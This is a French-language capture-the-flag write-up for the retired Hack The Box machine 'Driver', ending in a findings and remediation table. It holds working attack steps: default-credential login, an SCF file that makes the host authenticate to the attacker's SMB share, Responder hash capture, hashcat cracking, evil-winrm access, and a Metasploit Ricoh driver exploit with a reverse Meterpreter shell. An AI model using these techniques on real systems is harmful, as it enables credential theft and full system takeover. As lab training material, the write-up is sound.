Windows Easy
Driver : SCF + Responder, puis pilote Ricoh
Fichier SCF déposé via un portail firmware pour capturer un hash NetNTLMv2, cracké puis rejoué en WinRM, et privesc via le pilote Ricoh (CVE-2019-19363).
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Un portail IIS "MFP Firmware Update Center" protégé par des identifiants par défaut.
- On y dépose un fichier SCF qui force l'hôte à s'authentifier vers notre Responder : hash NetNTLMv2 de
tonycapturé. - Hash cracké (
liltony), on rejoue en WinRM pour l'accès utilisateur. - Privesc via la vulnérabilité du pilote Ricoh (CVE-2019-19363) : SYSTEM.
Reconnaissance
nmap -sVC -T4 -oA nmap 10.129.76.77PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-auth: Basic realm=MFP Firmware Update Center. Please enter password for admin
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 (workgroup: WORKGROUP, host: DRIVER)Trois services Windows classiques. Le port 80 affiche une authentification Basic : "MFP Firmware Update Center". MFP = Multi Function Printer. Le nom de la box et ce portail orientent clairement vers un sujet imprimante.
Foothold
Accès au portail
Le portail accepte les identifiants par défaut admin:admin. On arrive sur une page "Firmware Update" avec un formulaire d'upload :
<tr><td>Upload Firmware:</td><td><input type="file" id="firmware" name="firmware"></td></tr>La page précise que le firmware envoyé est déposé sur un partage que l'équipe teste manuellement. C'est la clé : si un utilisateur ouvre ce dossier dans l'Explorateur Windows, tout fichier qui référence une ressource distante déclenche une connexion.
Fichier SCF et capture du hash
Un fichier .scf (Shell Command File) peut pointer son icône vers un partage SMB distant. Dès que l'Explorateur affiche le dossier, Windows tente de charger l'icône et s'authentifie vers nous.
[Shell]
Command=2
IconFile=\\10.10.14.84\share\pwn.ico
[Taskbar]
Command=ToggleDesktopOn lance Responder sur l'interface du VPN, puis on dépose le SCF via le formulaire.
responder --interface tun0 --wpad --lm --disable-essAu bout de quelques secondes, l'hôte s'authentifie et Responder capture le NetNTLMv2 de tony :
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash : tony::DRIVER:<redacted>Cassage du hash
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txtTONY::DRIVER:...:...:...:... (Status: Cracked)Le mot de passe de tony tombe en une seconde : liltony.
Accès utilisateur
Le port 445 et l'OS laissent espérer WinRM (5985). Les identifiants passent :
evil-winrm -i 10.129.76.77 -u tony -p liltony*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txtÉlévation vers SYSTEM
WinPEAS pointe une ACL beaucoup trop permissive sur le répertoire du pilote Ricoh :
ACL allow candidate: C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\headerfooter.dll (Everyone [Allow: AllAccess])C'est exactement CVE-2019-19363 : le pilote d'impression Ricoh charge une DLL dans un dossier où tout le monde peut écrire, et l'impression s'exécute en SYSTEM. Metasploit a un module prêt pour ce vecteur.
On lance d'abord un Meterpreter x64 sur la cible en tant que tony (upload et exécution d'un met.exe généré avec msfvenom, récupéré via le shell WinRM).
meterpreter > sysinfo
Architecture : x64
Meterpreter : x64/windows
meterpreter > ps # repérer un process stable de la session de tony
meterpreter > migrate 4500 # ex. OneDrive.exe, PID relevé dans ps
[*] Migration completed successfully.
meterpreter > bgLe module peut alors faire son travail :
use exploit/windows/local/ricoh_driver_privesc
set SESSION 1
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
run[+] The target appears to be vulnerable. Ricoh driver directory has full permissions
[*] Adding printer FXBMHf...
[+] Deleted C:\Users\tony\AppData\Local\Temp\headerfooter.dll
...
C:\Windows\system32> whoami
nt authority\systemLe flag root est alors accessible :
C:\Users\Administrator\Desktop> type root.txtFindings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | Portail firmware en identifiants par défaut (admin:admin) | Élevée | Forcer un mot de passe fort, limiter l'accès au réseau d'admin |
| F2 | Dépôt de fichiers utilisateur ouvert dans l'Explorateur par un opérateur (SCF / capture NetNTLM) | Élevée | Ne jamais parcourir un dossier de dépôt non fiable, bloquer le SMB sortant, signer le SMB |
| F3 | Mot de passe faible et réutilisable (liltony) cassé via rockyou | Moyenne | Politique de mots de passe robustes |
| F4 | Pilote Ricoh vulnérable, dossier en écriture pour tous (CVE-2019-19363) | Critique | Mettre à jour le pilote Ricoh, corriger les ACL de C:\ProgramData\RICOH_DRV |
Leçons apprises
- Le fichier SCF reste un grand classique pour voler un NetNTLM dès qu'un partage est parcouru dans l'Explorateur : un simple
IconFilevers un partage suffit. - Un portail "firmware / imprimante" doit faire penser tout de suite aux vecteurs liés aux pilotes d'impression (SCF, PrintNightmare, drivers Ricoh / Lexmark).
whoami /privet winPEAS restent le réflexe post-foothold : ici c'est une ACL de dossier, pas un privilège de token.- Pour
ricoh_driver_privesc: Meterpreter en x64 et migration dans un autre process avant de lancer le module, sinon erreur d'architecture et session tuée au nettoyage.